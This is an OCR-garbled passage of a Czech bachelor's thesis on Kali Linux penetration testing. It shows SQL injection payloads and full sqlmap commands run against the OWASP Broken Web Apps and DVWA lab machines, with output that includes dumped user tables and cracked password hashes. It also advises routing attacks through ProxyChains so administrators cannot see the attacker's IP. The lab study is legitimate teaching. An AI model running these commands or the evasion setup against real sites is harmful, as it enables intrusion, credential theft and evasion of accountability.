skenem webovych stranek, nez se snazit ji prozkoumavat ru¢né. Jedinou obranou proti Utokim
SQL Injection je programatorsky oSetfit zdrojové kédy webové aplikace a upravit tak vstupni
hodnoty. Vstupni hodnoty mohou obsahovat napfiklad pouze text, pouze cislo, naopak
nebudou obsahovat specidlni znaky a podobné. Pfi ostrém pouziti SQLMap na webové aplikace
se doporucuje pfi pouziti nastroje SQLMap pouZit nastroj ProxyChains, aby sprévci
napadeného serveru nevidéli v logovani spravnou IP adresu utocnika. Pokud se provadi utok
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z vefejnych bezdratovych siti, pak neni ProxyChains zapotrebi (What is SQL injection (SQLi)?,
2026).

2.9.1 Zakladni principy SQLi

SQL Injection (SQLi) Ize naptiklad vyzkouset pfi prihlaseni uzivatele do néjakého formulare. Na
pozadi bézi komunikace s databazovym serverem, ktery vyhodnoti, zda jsou ptihlasovaci udaje
spravné. Pokud nejsou programatorsky osetfeny vstupni Udaje prihlasovani do formulare, tak
tam uZivatel miZe zaddvat co chce. Pokud je tedy na vstupu naptiklad username i userlD
a misto zaddni pravych informaci Uto¢nik zadda skodlivé SQL dotazy, databdzovy server pak na
jeho dotazy reaguje (SQL Injection, 2026):

e Znak ' - pokud se znak ' napiSe v prihlasovacim formulafi (na za¢atku nebo na konci
slova) ¢i v odkazu v listé prohliZzece a vyjedou néjaké texty s pfikazy jazyka SQL ¢i se
vypiSe hldseni neocekdvana chyba znamena to, Ze webova aplikace nebo stranka neni
chranéna proti SQL Injection a vstupni Udaje jsou tak neosetfené, neboli nechranéné.
Pokud se naopak stranka nebo aplikace nahraje znova je chranéna. Ukazka dotazu,
ktery vznikne s dvojitymi uvozovkami, znamena, Ze dotaz je nefunkcni, server nemf(ize
vratit hodnoty a databaze je rozbita:
http://www.nejakastranka.cz/clanek.php?id=42',

SELECT * FROM users WHERE email = 'user@email.com' AND password ="' pass",

e "OR 1=1--' - booleovsky vyraz urci, Ze podminka 1=1-- jsou pravda: SELECT * FROM
users WHERE email = 'user@email.com' AND password =" or 1=1--' (znamen3, Ze se
ziskaji informace s heslem uzivatele user@email.com, logika je pfevracenda pouze
u hesla). Pokud se stane, Ze obé podminky jsou pravdivé, vyjede cela tabulka se vSemi
sloupci, protoZe jsou splnény obé podminky.

SELECT * FROM users WHERE email = "or 1=1--' AND password =" or 1=1".
SQL dotaz vyse vrati vSechny radky z tabulky, protoZe oboji je pravda,

o Dalsi typy znakl ¢i sloZzenych znakti mohou byt: -, &, », *,'or''-',"or ' '&', 'or ' 'A', "

nnan "

or ,'tor

ok

, or true, or 1=1, ' or true-- a dalSi. MoZnosti je samoziejmé vice.
Pfedstaveny zde byli pouze zakladni moZnosti pfi splnéni obou podminek. Nutna je
znalost SQL jazyka.

Pro demonstraci prikladu byl pouZit open-source program OWASP Broken Web Apps VM 1.2,
ktery je volné ke staZeni. Kratky popis instalace je ndasledujici. Po extrahovani ZIP souboru se
extrahovany soubor s pfiponou *.vmx pfipoji pfes moznost Open a Virtual Machine ve VMware
Workstation, ¢imz ziskame virtualni OS. Jedna se o predpfipraveny obraz VMware. Poté si Ize
jesté dodatecné upravit potifebné nastaveni. V textovém reZimu se objevi v textu prihlasovaci
Udaje na roota a IP adresa virtualniho OS (you can access the web apps at IP address). Virtualni
OS OWASP musi byt ve VMware spustény a z Kali Linuxu se na néj |ze pfihlasit vypsanim jeho IP
adresy do internetového prohlizece. OWASP Broken Web Apps VM 1.2 je prostiedi uréené
pfimo pro testovani webovych zranitelnosti (OWASP Broken Web Applications Project, 2016).

Na uvodni strdnce OWASP Broken Web Apps VM 1.2 se klikne na OWASP Mutillidae I, poté
v nabidce vlevo OWASP 2013, Al Injection (SQL), SQLi — Extract Data a User Info (SQL). Zde se
simuluje Utok na web pomoci SQL Injection bez prihlasovacich Udajl a bez jakékoli ndpovédy.
Zde se mlZe Utoc¢nik pokusit rozbit databazi. Po pokusu o pfihlaseni jména s uvozovkou a hesla
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s uvozovkou se objevuji chybné prikazy SQL jazyka, zejména fadek Query: SELECT * FROM
accounts WHERE username='d" AND password='d" (0) [Exception], ktery naznaluje rozbiti
databaze (OWASP Broken Web Applications Project, 2016):

Failure is always an option

| Lne |70
| code o
[ File ”/owasphua/mutillidae—gitjclassesfMySQLHandler.php

fowaspbwa/mutillidae-git/classes/MySQLHandler.php on line 165: Error executing query:

connect_errno: @

errno: 1064
Mossaoa error: You have an error in your SQL syntax; check the manual that corresponds to your
g right syntax to use near 'd''' at line 2

client info: 5.1.73
host info: Localhost via UNIX socket

W Query: SELECT * FROM accounts WHERE username='d'' AND password='d'' (8) [Exception]j

Obr. 102: SQLMap, Owasp Broken Web, rozbiti databaze
Zdroj: Vlastni zpracovani (2026)

Nejen, Ze se podafilo rozbit databazi, coz je vidét na username 'd" a password 'd", zjistil se
i sloupec databdaze accounts. Nyni musi username skoncit jako true a password také, aby doslo
k Uspésnému pfihlaseni. PonévadZ username ani password jsou neznamé, lze si pomoct
booleovskymi pfikazy "OR 1=1--' (mUZe byt i d' OR '1'='1, jedna se predevsim o spravnost
uvozovek) tak, aby obé podminky skondily jako true a ziska se tak kompletni seznam uZivateld
i s jejich hesly. Hesla by vSak spravné méla byt zaheshovang, ne jako zde, plain text:

[ Results for ""OR 1=1--' ".24 records found.

Username=admin
Password=admin
Signature=g0t r00t?

Username=adrian
Password=somepassword
Signature=Zombie Films Rock!

Username=john
Password=monkey
Signature=l like the smell of confunk

Username=jeremy
Password=password
Signature=dl1373 1337 speak

Obr. 103: SQLMap, Owasp Broken Web, ziskani databaze
Zdroj: Vlastni zpracovani (2026)

116



Vysoka skola polytechnicka Jihlava

Vulnerability: SQL Injection

User ID:
| ['submit |

ID: - 8F - '1'='1
First name: admin
Surname: admin

Ib: * ar'1'=*1
First name: Gordon
surname: Brown

ID: * er'1'="'1
First name: Hack
Surname: Me

Obr. 104: SQLMap, Owasp Broken Web, databaze s jednim vstupem
Zdroj: Vlastni zpracovdni (2026)

2.9.2 Nastroj ProxyChains

Nastroj ProxyChains umozZiiuje pfesmérovat sitovou komunikaci pres rlizné proxy servery, coz
je dilezité zejména pti praci se sitovymi nastroji. Poté je obtizné odhalit pravou IP adresu.
Sprdvci siti si totiz mohou lehce zjistit IP adresu pocitace utocnika, proto je pfi pouziti nastroje
SQLMap doporuceno pouzivat ProxyChains. Pfed prikazem, napfiklad SQLMap, se zada prikaz
proxychains a ptikaz tak bude mit formu proxychains sglmap a URL odkaz. Je vSak nutné
vyplnit konfiguracni soubor proxychains.conf, protoze v zakladnim sestaveni konfiguracni
soubor v adresafi /etc neobsahuje Zzadné adresy proxy serverl. Seznamy proxy serverl je
mozné najit na internetu (napfiklad http://www.torvpn.com/en/proxy-list nebo
https://www.socks-proxy.net/). Postup aktivace nastroje ProxyChains v konfiguraénim souboru
proxychains.conf je nasledujici (Kali Linux: proxychains a SQL Injection s utilitou sqlmap, 2016):

e Radek socks4 127.0.0.1 9050 - zakomentovat, vypne se localhost,

e Vypsani adres proxy serverti — pod ProxyList. Jedna adresa, jedna radka (minimalné 10
adres a ¢asem ménit),

e Syntaxe adresy - typ, IP adresa, port, user, password (user a password nevyplfiovat),

eV konfiguraénim souboru si Ize zakomentovanim a odkomentovanim zvolit jeden ze tfi
raznych modelll chovani ProxyChains (odkomentovany je funkcni),

e Dynamické fFetézeni (dynamic_chain) - prochazi se seznam proxy server(, zaznam po
zdznamu, odshora dold. Pfi odmitnuti spojeni jednoho serveru (reject, timeout nebo
jiny) se prejde na dalsi server bez chybového hlaseni,

e Statické retézeni (strict_chain) - prochazi se seznam proxy serverl, zdznam po
zaznamu, odshora doll. Pokud narazi nastroj na problematicky proxy server, retézeni
se ukondi,

o Nahodné fetézeni (random_chain) - seznam nahodné vybranych adres. MoZzné také
zadat hodnotu chain_len (délka fetézu, standardné nastavena 2), pocet proxy serverd,
pres které je komunikace pfesmérovavana,

e Radek quiet_mode - zakomentovat, tichy reZim, nevypisuji se adresy proxy serverd pfi
presmérovavani,

e Radek proxy_dns - zakomentovat, pres proxy servery DNS neprojde. Je tieba mit
funkéni DNS,
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e Proxychains curl ipconfig.me/ip — test pfikazem, zda je ProxyChains funkéni.

Pti provedeni prikazu curl by se mél zobrazit fetéz proxy serverd (fadek quiet_mode musi byt
zakomentovany):

luke® kali)-[~
$ | -1 ipconfig.me/ip
[proxychains] config file found: /etc/proxychainsé4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17

[proxychains] Random chain ... 103.36.35.249:5678 ... timeout
[proxychains] Random chain ... 103.189.218.158:1080 ... timeout
[proxychains] Random chain ... 190.228.33.44:1085 ... 3.33.139.32:80 ... OK

Moved Permanently. Redirecting to https://ifconfig.me/
Obr. 105: ProxyChains, fetézeni proxy
Zdroj: Vlastni zpracovdni (2026)

2.9.3 Identifikace databaze a ziskavani dat

Pro prolomeni databdaze, do které probéhlo pfihlaseni jsou zapotrebi cookies. PFi prihlaseni do
Damn Vulnerable Web Application (DVWA) v OWASP Broken Web Applications Project

VM 1.2 se pouzily pfihlaSovaci Udaje admin, admin a cookies Ize nalézt v prohliZeci Firefox zde:
Nastaveni, More Tools, Web Developer Tools, zalozka Storage (nebo F12), fadek PHPSESSID
a cookies se musi zkopirovat a prepsat do nasledujici podoby, aby se poté daly vyuZit v prikazu
SQLMap: PHPSESSID=8mt6k4pekicgvggrsum4dmijl0; security=low (cookies Ize samoziejmé
zkopirovat i pfes nastroje Burp Suite ¢i OWASP ZAP) (What is SQL injection (SQLi)?, 2026).
Databaze DVWA se musi nejdfive prolomit zadanim specidlniho znaku, idealné tfeba 1', nebo
podobného, diky kterému se objevi chybové hldseni. Chybové hlaseni davd moznost zkopirovat
URL odkaz s chybnym vstupem (id=1'). Diky zkopirovanému URL odkazu SQLMap provede
analyzu databaze, kterou prolomi diky chybnému vstupu neboli parametru v URL odkazu.
Postupné je tak mozné zadavat SQLMap prikazy, které poskytnou informace o databazi a jejich
datech, kde prepinac -u odkazuje na URL testované stranky, -p na testovany klicovy parametr
(id=1'") a protozZe doslo k prihlaseni do systému, musi se prikaz doplnit i o cookies, pfepinacem
--cookie. Bez pftihlaseni do systému se samozifejmé cookies vypisovat nemusi. Existuji dvé
nejcastéjsi HTTP metody, pres které muZe zranitelna databaze prijimat prikazy, metody GET
a POST. Metod je vice, SQLMap dokaze pracovat s libovolnou HTTP metodou, napfiklad PUT,
DELETE, HEAD, OPTIONS, TRACE, pokud se spravné nastavi. Metody GET a POST jsou vsak
nejCastéjsi, ale nejsou jediné (What is SQL injection (SQLi)?, 2026):

http://192.168.204.132/d

Cali Forums X Kali NetHunter Exploit-DB OffSec KaliLinux # Kali Tools # KaliDocs MK

1 that corresponds to your MySQL server version for the right syntax to use near at line 1

Obr. 106: SQLMap, URL odkaz s parametrem ID
Zdroj: Vlastni zpracovdni (2026)

2.9.4 Metoda GET

Pro prolomeni databaze, ve které probéhlo pfihlaseni, jsou zapotiebi cookies. Metoda GET
spociva v tom, ze parametry odkazu (?id=1%27&Submit=Submit#) jsou pfimo v kompletnim
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URL odkazu (-u "URL"). SQLMap je automaticky vidi v adrese (What is SQL injection (SQLi)?,
2026):
sqlmap -u "http://192.168.204.132/dvwa/vulnerabilities/sqli/?id=1%27&Submit=Submit#" -p
id --cookie="PHPSESSID=8mt6k4peklcgvggrsum4dmijl0; security=low"

Parg
Type: error-based
Title: MySQL = 5.1 AND error-based - WHERE, HAVING, ORDER BY or GR

Payload: id=1' AND EXTRACTVALUE(2379,CONCAT(@x5c,0x717a717a71, (SELE
ubmit

|T¥Ee: time-based blind |
Title: MySQL = 5.0.12 AND time-based blind (query SLEEP)

Payload: id=1' AND (SELECT 8492 FROM (SELECT(SLEEP(5)))MaPJ])-- eBTxi

Type: UNION quer

Title: Generic UNION query (NULL) - 2 columns

Payload: id=1"' UNION ALL SELECT CONCAT(@x717a717a71,0x785a4d466e4ch
57494777744579,0x717a706a71),NULL-- -&Submit=Submit

[07:42:02] [ ] the back-end DBMS is MysSQL

web server operating system: Linux Ubuntu .04 (Lucid Lynx
web application technology: Apache 2.2.14, PHP 5.3.2
back-end DBMS: MySQL > 5.1
[07:42:02] [INFO] tetched data logged to text files under °
Obr. 107: SQLMap, pfikaz metody GET
Zdroj: Vlastni zpracovadni (2026)

Zakladnim pfikazem metodou GET se ziskaji informace o databazi (MySQL 5.1), webové aplikaci
(Apache a PHP) a operacnim systému (Linux Ubuntu) na kterych databaze bézi. Déle se ziskala
informace o tom, Ze parametr ID (id=1") je zranitelny vic¢i SQL Injection. Ziskaji se také
informace o vSech typech SQL Injection (error-based, blind a union) a jejich payloadech.

Parametr --dbs - parametr dbs vypiSe vSechny existujici databaze v systému:

sqlmap -u "http://192.168.204.132/dvwa/vulnerabilities/sqli/?id=1%27&Submit=Submit#" -p
id --cookie="PHPSESSID=8mt6k4peklcgvggrsum4dmijl0; security=low" --dbs

[08:00:28] [INFO] fetching database names

available databases [2]:

[*] dvwa
[*] information_schema

[08:00:28] [INFO] fetched data logged to text files under '
Obr. 108: SQLMap, pfikaz metody GET s parametrem dbs
Zdroj: Vlastni zpracovdni (2026)

Parametry --database, --tables a --columns - parametrem -D Ize vybrat konkrétni databazi
a parametr --tables vypisSe vSechny tabulky obsazené v databazi:

sqlmap -u "http://192.168.204.132/dvwa/vulnerabilities/sqli/?id=1%27&Submit=Submit#" -p
id --cookie="PHPSESSID=8mt6k4peklcgvggrsum4dmijl0; security=low" -D dvwa --tables
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[08:12:05] [INFO] fetching tables for database: ' §
Database: dvwa
[2 tables]

o e -

| guestbook |

| users |

E——

[08:12:06] [INFO] fetched data logged to text files under '

Obr. 109: SQLMap, prikaz metody GET s parametrem tables
Zdroj: Vlastni zpracovdni (2026)

Databaze ma dvé tabulky a kazda databaze ma sloupce. Sloupce tabulky users se vypisi
pfikazem --columns:

sqlmap -u "http://192.168.204.132/dvwa/vulnerabilities/sqli/?id=1%27&Submit=Submit#" -p
id --cookie="PHPSESSID=8mt6k4peklcgvggrsum4dmijl0; security=low" -D dvwa -T users

--columns
[08:19:4@] [INFO] fetching columns for table ' ' in database ' '
Database: dvwa
Table: users
[6 columns]
+ + +
| Column | Type |
+ + +
| user | varchar(15) |
| avatar | varchar(70) |
| first name | varchar(15) |
| last name | varchar(15) |
| password | varchar(32) |
| user_id | int(6) |
+ + +
[08:19:40] [INFO] fetched data logged to text files under '

Obr. 110: SQLMap, pfikaz metody GET s parametry D,T a Columns
Zdroj: Vlastni zpracovani (2026)

Zminované parametry vypsaly sloupce tabulky users databaze dvwa. Parametr -D je zkratkou
pro --database pfi vybéru konkrétni databaze. Parametr -T je zkratkou pro --tables pfi vybéru
konkrétni tabulky. Parametr -C je zkratkou pro --columns pfti vybéru konkrétniho sloupce.

Parametr --dump — parametrem dump se kompletné identifikuje celd vybrand tabulka users
databaze dvwa se vSemi dostupnymi informacemi, v€etné moznosti slovnikového utoku na
zaheshovana hesla:

sqlmap -u "http://192.168.204.132/dvwa/vulnerabilities/sqli/?id=1%27&Submit=Submit#" -p
id --cookie="PHPSESSID=8mt6k4peklcgvggrsum4dmijl0; security=low" -D dvwa -T users
--column --dump
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' = luke@kali: ~
Session Actions Edit View Help
[6 entries]

+ + + +
+ +

| user_id | user | password | las

name | first name |

+ + + +
+ +

| % | admin | 21232f297a57a5a74389%4a0e4aB801fc3 (admin) | adm
| admin |

| 2 | gordonb | e99a18c428cb38d5f260853678922e03 (abcl123) | Bro
| Gordon |

| 3 | 1337 | 8d3533d75ae2c3966d7e0d4fcch9216b (charley) | Me
| Hack |

| & | pablo | 0d107d@9f5bbe4Bcade3de5c71e9e9b7 (letmein) | Pic

50 | Pablo |

| 5 | smithy | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smi
| Bob |

| 6 | user | eellcbb19052e40b07aac@ca®@bdc23ee (user) | use
| user |

+ + + +

Obr. 111: SQLMap, pfikaz metody GET s parametrem dump
Zdroj: Vlastni zpracovdni (2026)

Rychld moZnost, jak vSe vypsat najednou, lze s parametrem pouze --dump, bez parametrd
-D (--database), -T (--tables) a -C (--columns). Lépe je vsak informace o databazi shirat pres
parametry, pokud se naleznou chyby nebo do akce zasdhnou firewally, které zakazuji parametr
--dump, pak Ize jen tézko zjistit, ktery krok se preskocil v celém poradi krokd.

2.9.5 Metoda POST

Metoda POST (Post Request) spociva v tom, Ze parametry odkazu (id=1%27&Submit=Submit#)
jsou v téle poZzadavku (formular je vidi az po odeslani), SQLMap je tak nevidi automaticky
a musi se dodat (--data="paraml=hodnota&param2=hodnota" nebo cely poZadavek predat
pres -r *.txt) (What is SQL injection (SQLi)?, 2026):

Vzory ptikazu:

sqlmap -u "URL" --data="" -p id --dump, sqlmap -r *.txt -p id --dump

Zakladni ptikaz:

sglmap -u "http://192.168.204.132/dvwa/vulnerabilities/sqli/" --data="id=1&Submit=Submit#"
-p id --cookie="PHPSESSID=ftpnlart6ul5h2blsasc9kaps2; security=low" --dump

Vysledky i s parametry jsou podobné jako u metody GET, jen je pouZita metoda POST.

2.9.6 DalSi parametry a payloady

Nastroj SQLMap nabizi dalSi obrovské moznosti payload(l, parametrd a moznosti, které se pro
prehled ve stru¢nosti shrnou v konecné podkapitole o nastroji SQLMap. SQL Injection Blind je
typ testu SQL Injection, ktery pfi vstupu nevraci zddné chyby, zddnd chybovd hlaseni ani
neukazuje prvky SQL jazyka pfti rozbiti databaze. Vraci jen spravné vystupy, proto je tézsi
databazi rozbit. Pfi tomto testu se testuje rozbiti databaze naslepo (What is SQL injection
(sQLi)?, 2026).
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Dostupné payloady:

e Boolean-based blind - testuje rozdil v chovani stranky podle podminky true nebo false,
e Error-based - zkousi vyvolat chybovou hlasku databaze,

e Inline query - dotaz vloZeny pfimo do jiné ¢asti kddu nebo prikazu,

e Stacked queries - testuje, jestli backend dovoli vice prikaz(i v jednom requestu,

e Time-based blind - zpUsobi, Ze server odpovi pomaleji, kdyZ je podminka true,

e Union query - zkousi spojit vysledky pomoci Union Select, viditelny vystup,

e QOut-of-band (OOB) - pouziva externi komunikaci (napf. DNS) k ovéreni reakce serveru.

Dalsi parametry:

e -levels - urcuje, kolik riznych testll SQLMap vyzkousi (level 1 az 5),
e -—-risks - urCuje, jak agresivni testy SQLMap poutZije (level 1 az 3),
e --banner - zkusi ziskat verzi databazového serveru,

e --batch - automaticky odpovida na vsechny dotazy bez ptani,

e --sqgl-shell - otevi'e interaktivni SQL konzoli pfes SQLMap,

e --os-shell — otevre interaktivni systémovou konzoli,

e --wizard - spusti jednoduchého prlivodce pro zacatecniky,

e --user - zobrazi uzivatele databaze,

e -—-is-dba - uZivatel databaze s administratorskym opravnénim,

e --schema - zobrazi strukturu databaze,

e sqglmap -hh - kompletni ndpovéda ke vsem parametrim.

Dostupné moznosti slovnikového utoku:

e zdkladni slovnikovy utok,
e upraveny, vlastni slovnikovy utok,
e ze souborl se zdznamy vice slovnik(, neboli wordlist(.
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Zaver

V prvnich kapitolach bakalarské prace byla kratce vysvétlena historie textové orientovanych
operacnich systém( a pojmU jako open-source a licencovani open-source projektll, tak aby
si mohl ¢tendf uvédomit z ¢eho vzeSel operacni systém GNU/Linux, se kterym bakalafska prace
pracovala. Konkrétné s open-source linuxovou distribuci Kali Linux, z jakych predeslych
linuxovych distribuci vznikla, za jakym Ucelem a proc byla vybrdna k testovani. Ze sady nastrojl
distribuce Kali Linux byli vybrany a analyzovany nastroje a k nim byli vybrany vhodné testovaci
techniky. V praktické casti bakalarské prace doslo k wvyzkouseni konkrétniho nastroje
prostfednictvim konkrétni techniky v prostfedi distribuce Kali Linux na virtudlnim stroji
a vysledky zdokumentovany.

Pti zkouSeni nastroju v praktické ¢asti se ukazalo, ze nékteré vybrané nastroje byli velmi ¢asové
narocné. Zejména pak prolamovani hesla pomoci nastroje John the Ripper trvalo neskutecné
dlouho vzhledem k technickému stavu pocitace, na kterém byla technika zkousena a nastroje
podobné zaméreny jako aircrack-ng a jiné. Nakonec se vSak podarilo dosahnout cile. DalSim
problémem bylo pofizovani snimkd obrazovky béhem prace s virtudlnim strojem. Nakonec byl
vSak problém vyfeSen prechodem na konkurencni virtudlni platformu VMWare. Vzhledem
k neurcitym nedostatecnym znalostem autora bakaldrské prace trvala prace s nastroji déle, nez
si je prisvojil. Nakonec vsak nastroje dostatecné prozkoumal a vyufZil.

Je aZ s podivem jak jednoduse Ize podniknout hackerské utoky na informacni systémy pokud
jsou k tomu vyuzity sprdvné nastroje. Informacni systémy nejsou dostate¢né chranény pred
utoky ani v dnesni dobé. Proto je tak moc duleZité provadét pravidelné penetracni testovani.
Vétsina lidi nezna pokrocilé open-source nastroje a neustdle délaji stejné chyby jako napftiklad
slaba hesla, stejna hesla pro vice Uctl nebo si nedavaji pozor na kontrolu odkazd ziskanych
e-mailem. Pti psani prace autor narazil na jednu hojné diskutovanou techniku, ktera zaroven
tvofi vice neZz polovinu potencidlnich Gtokd s velkou Uspésnosti. Zmirlovanou technikou
je socidlni inZenyrstvi. Socidlni inZenyrstvi patfi mezi nejbéinéjsi zranitelnosti. V Kali Linux
existuji nastroje, které se zmifiovanou technikou zabyvaji, vzhledem ale k nedostate¢nému
prostoru bylo rozhodnuto ji nezaradit do bakalarské prace. Socidlni inzenyrstvi je tak objemné
téma, Ze je mozné se mu vénovat v jiné prdci. Za dalsi mozné téma k prozkoumani rovnéz stoji
Metasploit Framework i Hashcat. Bakalarska prace se Metasploit Framework vénovala spise
teoreticky, vzhledem vsak k jeho rozsahu pouZiti a komplexnosti celého Frameworku by
rozhodné bylo lepsi se mu vénovat vice.

Penetracni testovani v distribuci Kali Linux nabizi obecné tolik pfitaZzlivé kouzlo open-source
technologii. Kouzlo, Ze informacni technologie nabizi skute¢ny svobodny a ideologicky rozvoj
osobnosti, ktery byl tolik pfitomny v 80. letech GNU projektem i jinymi a ktery tak uvadl
s pfichodem proprietarnich, uzavienych operacnich systém v 90. letech.
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